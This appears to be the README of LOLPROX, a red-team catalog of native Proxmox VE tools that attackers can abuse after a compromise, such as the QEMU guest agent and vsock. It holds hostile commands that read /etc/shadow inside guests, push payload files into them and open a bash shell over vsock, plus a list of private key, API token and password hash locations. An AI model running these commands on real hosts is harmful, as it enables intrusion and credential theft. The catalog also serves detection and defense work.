Living Off The Land Proxmox (LOLPROX) is the curated catalog of native Proxmox VE binaries and techniques that adversaries can abuse for post-exploitation operations.

This project maintains a comprehensive list of binaries natively available in Proxmox VE that can be leveraged by adversaries during security assessments and red team operations. The documentation is compiled from real-world testing and threat research.

For the full write-up on LOLPROX techniques and methodology, see the blog post. For defensive guidance and detection strategies, see the defense blog post.

LOLPROX documents native Proxmox VE tools and techniques that can be abused for:

• Discovery - Enumerate VMs, containers, storage, users, and cluster topology
• Execution - Execute commands in guest VMs via QEMU guest agent
• Lateral Movement - Pivot through vsock, guest agents, and cluster connections
• Collection - Exfiltrate data via backups, snapshots, and guest agent file reads
• Credential Access - Extract certificates, API tokens, and authentication keys
• Persistence - Create backdoor accounts, API tokens, and scheduled tasks
• Impact - Stop/destroy VMs, manipulate storage, ransomware preparation

The QEMU guest agent allows hypervisor-to-guest command execution without network authentication:

# Execute commands in guest
qm guest exec 100 -- cat /etc/shadow

# Read files from guest
qm guest cmd 100 file-read /etc/passwd

# Write files to guest
qm guest cmd 100 file-write /tmp/payload.sh $(base64 -w0 payload.sh)

vsock (AF_VSOCK) enables host-guest communication bypassing network monitoring:

# Host: Connect to VM CID 3 on port 1234
socat - VSOCK-CONNECT:3:1234

# Guest: Listen for vsock connections
socat VSOCK-LISTEN:1234,fork EXEC:/bin/bash

Critical cryptographic material locations:

/etc/pve/priv/pve-root-ca.key    # Root CA private key
/etc/pve/priv/authkey.key        # Authentication ticket signing key
/etc/pve/local/pve-ssl.key       # Node SSL private key
/etc/pve/priv/token.cfg          # API tokens

/etc/pve/user.cfg                # User configuration
/etc/pve/priv/shadow.cfg         # User password hashes (if local auth)
/etc/pve/priv/token.cfg          # API tokens
/etc/pve/corosync.conf           # Cluster node addresses

Contributions are welcome! Please follow the LOLESXi format for new technique submissions:

1. Fork the repository
2. Add new binary documentation in _lolprox/Binaries/
3. Include MITRE ATT&CK mappings
4. Provide procedural examples
5. Submit a pull request

• Proxmox VE Documentation
• LOLESXi Project
• LOLBAS Project
• MITRE ATT&CK

MIT